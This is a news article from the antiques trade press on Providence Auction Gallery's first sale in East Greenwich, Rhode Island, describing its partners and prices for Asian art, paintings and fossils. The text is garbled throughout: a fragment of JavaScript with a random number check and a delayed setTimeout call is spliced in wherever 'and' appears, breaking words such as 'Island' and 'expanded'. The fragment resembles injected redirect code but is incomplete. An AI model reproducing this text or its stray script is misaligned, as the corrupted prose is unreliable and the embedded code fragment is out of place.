By: Laura Beach

EAST GREENWICH, R.I. — Rhode Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and has a new auction house but its principals are no rookies. Providence Auction Gallery, which hosted its inaugural sale on November 9 in East Greenwich, is led by three individuals, all of whom have been around the proverbial block.

The troika consists of antiques dealer Kevin P. Bruneau — aka “The Prowler” on the PBS series Market Warriors; Providence attorney Louis Grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande, a estates andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and trusts expert with a taste for American decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and folk art; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Jeffrey Shore, a collector andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cataloger who is knowledgeable about classical, early European andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Islamic artifacts, Asian art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and natural history. Assisting are Ashle Tortolani andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Dale LeFaivre.

The company’s debut sale at the diminutive Varnum Armory demonstrated the team’s talent for making buyers comfortable andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and putting on a good show, with Bruneau proving an engaging presence at the podium. The wide-ranging auction of 442 lots was rich in Chinese artifacts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and natural history items, a few of which are illustrated here.

“We get a lot of estates, but we are on the road constantly going to sales, as well,” says Bruneau. In recent years, he has made his living selling art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and antiques on eBay. Now, he says, he sees the market changing.

“If you really want to have a presence, you have to have an auction house,” he says. The partners’ new operation combines the best of online andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and brick andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mortar businesses, reaching a wide audience through its participation in the bidding platform Invaluable.

Half the sale consisted of Asian art, which is, from a market perspective, as unpredictable as ever. Though the material was thoroughly inspected, some lots were passed while others sold briskly.

One happy surprise was a circa 1800 Mughal Indian silver spice box decorated with peacocks. It fetched $3,600. Meanwhile, a petite porcelain vase of the palest celadon green was headed back to China, claimed by a bidder who forked out $11,250 for it.

Tiny Rhode Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and has long been a worldly place. Top honors for fine arts included artists with local connections such as classical sculptor William Clark Noble, as well as David Howard Hitchcock andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Satoru Abe, both of whom are associated with Hawaii. A Hawaiian plantation view by Hitchcock ran off at $13,200, while Abe’s Modernist bronze “Through The Rock” achieved $6,600.

A Miocene Period saber-tooth cat fossil skull from Eurasia realized $13,200, leading fossils andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other natural history items. An intriguing ethnographic piece was a carved Pacific Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wood figure that sailed past estimate to bring $5,400. One happy surprise, said Bruneau, was stones — “They brought good money.”

“It was a good sale, with strong prices as well as some deals,” said Bruneau. No question that the Internet has expandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded the market, attracting more buyers but also increasing competition for sellers.

Said Bruneau, “The Internet has brought everything into the light. Nothing is hidden anymore. If people want it, they can find it.”

The firm is hosting eBay-only sales under the name B.K. Cranston on December 11 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 21. On January 15, the partners will be back at the Varnum Armory with a live sale of fine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and artifacts, including Asian antiques. Bruneau says the group is also planning a live sale for late spring.

Providence Auction Gallery’s offices are at 395 Smith Street, Providence. For additional information, www.provbids.com or 401-365-6444.